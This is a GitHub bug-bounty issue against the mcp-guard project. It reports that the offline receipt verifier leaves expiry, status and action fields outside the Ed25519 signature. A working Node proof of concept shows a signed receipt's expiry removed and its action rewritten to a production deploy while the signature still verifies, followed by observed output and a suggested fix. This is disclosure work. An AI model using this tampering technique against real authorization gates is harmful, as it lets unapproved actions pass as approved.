Skip to content

Bounty #36: receipt verifier trusts mutable expiry/action fields outside signature #65

Description

@vagdotdev

Claim for #36.

Summary

The current permission-protocol/mcp-guard offline receipt verifier accepts a signed receipt after authorization-critical receipt fields are changed because the Ed25519 signature only covers:

receipt_id + request_payload_hash + optional scope/scope_ref/scope_sha

verifyReceiptOffline() then trusts fields that are not in buildSigningBytes(), especially:

  • status
  • expires_at
  • action
  • resource
  • summary
  • diff
  • request_json
  • policy_details

That means the same Ed25519 signature can still verify after expiry is removed or after the receipt's displayed/action metadata is rewritten.

This is a signing-envelope issue, not an Ed25519 primitive issue.

Why this matters

The verifier checks receipt.status === "AUTHORIZED" and rejects expired receipts, but neither status nor expires_at is signed.

So a receipt that should fail because it is expired can be edited back into a valid receipt without changing the signature.

The verifier also has no expected payload hash parameter. It verifies that some payload hash was signed, but does not verify that the signed hash matches the action currently being authorized unless every caller performs that comparison separately.

Local PoC on current mcp-guard main

Tested against:

54a8628 Bind authorization token signatures to full envelope (closes deploy-gate#60)

Run:

git clone https://github.com/permission-protocol/mcp-guard
cd mcp-guard
npm ci
npm run build

node --input-type=module <<'NODE'
import { createReceipt, signReceipt } from './dist/src/receipt.js';
import { verifyReceiptOffline } from './dist/src/receipt-verify.js';
import { getPublicKeyPem } from './dist/src/signer.js';

const scope = {
  scope: 'github:merge',
  scope_ref: 'refs/pull/32/merge',
  scope_sha: 'target-merge-sha',
};

const held = {
  decision: 'held_for_approval',
  rule_id: 'merge-pr',
  reason: 'requires approval',
  lane: 'decide',
  reversibility: 'irreversible',
};

const receipt = signReceipt(
  createReceipt(
    'agent-1',
    'merge_pr',
    held,
    { pr_number: 32, benign: true },
    'infra-mcp',
    'enforce',
    scope,
  ),
  'operator',
);

const pem = getPublicKeyPem();

console.log('baseline:', verifyReceiptOffline(receipt, pem, scope));

const expired = structuredClone(receipt);
expired.expires_at = new Date(Date.now() - 60_000).toISOString();
console.log('expired fails:', verifyReceiptOffline(expired, pem, scope));

const expiryBypass = structuredClone(expired);
expiryBypass.expires_at = null;
console.log('expiry removed passes with same signature:', verifyReceiptOffline(expiryBypass, pem, scope));
console.log('same signature after expiry mutation:', expiryBypass.signature.value === receipt.signature.value);

const actionTamper = structuredClone(receipt);
actionTamper.action = 'deploy_production';
actionTamper.resource = 'prod';
actionTamper.summary = 'tampered post-signature summary';
actionTamper.policy_details.decision_reason = 'tampered reason';
actionTamper.diff.files[0].patch = 'tampered patch';
console.log('action/metadata tamper passes with same signature:', verifyReceiptOffline(actionTamper, pem, scope));
console.log('same signature after action mutation:', actionTamper.signature.value === receipt.signature.value);
NODE

Observed output:

baseline: { valid: true, reasons: [] }
expired fails: {
  valid: false,
  reasons: [
    'PP_EXPIRED: receipt expired at 2026-07-04T12:02:51.650Z (now 2026-07-04T12:03:51.650Z).'
  ]
}
expiry removed passes with same signature: { valid: true, reasons: [] }
same signature after expiry mutation: true
action/metadata tamper passes with same signature: { valid: true, reasons: [] }
same signature after action mutation: true

Impact

An attacker with any signed receipt can mutate unsigned authorization/audit fields while keeping the original signature valid.

Most directly:

  • expiry can be removed or extended after signing;
  • action/resource/audit metadata can be rewritten after signing;
  • the verifier has no built-in check that request_payload_hash equals the current action payload hash.

If the deploy receipt gate relies on this verifier shape, a receipt can pass verification while no longer representing what was approved.

Suggested fix

Sign a canonical receipt envelope, not only receipt_id, request_payload_hash, and scope.

At minimum, include:

  • receipt_id
  • status
  • action
  • resource
  • request_payload_hash
  • scope
  • scope_ref
  • scope_sha
  • expires_at
  • issuer
  • receipt_version
  • policy_details

Also make verifyReceiptOffline() accept expected authorization inputs such as expected request_payload_hash, action, and resource, then reject mismatches before returning valid.

Payment details can be provided privately after verification.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions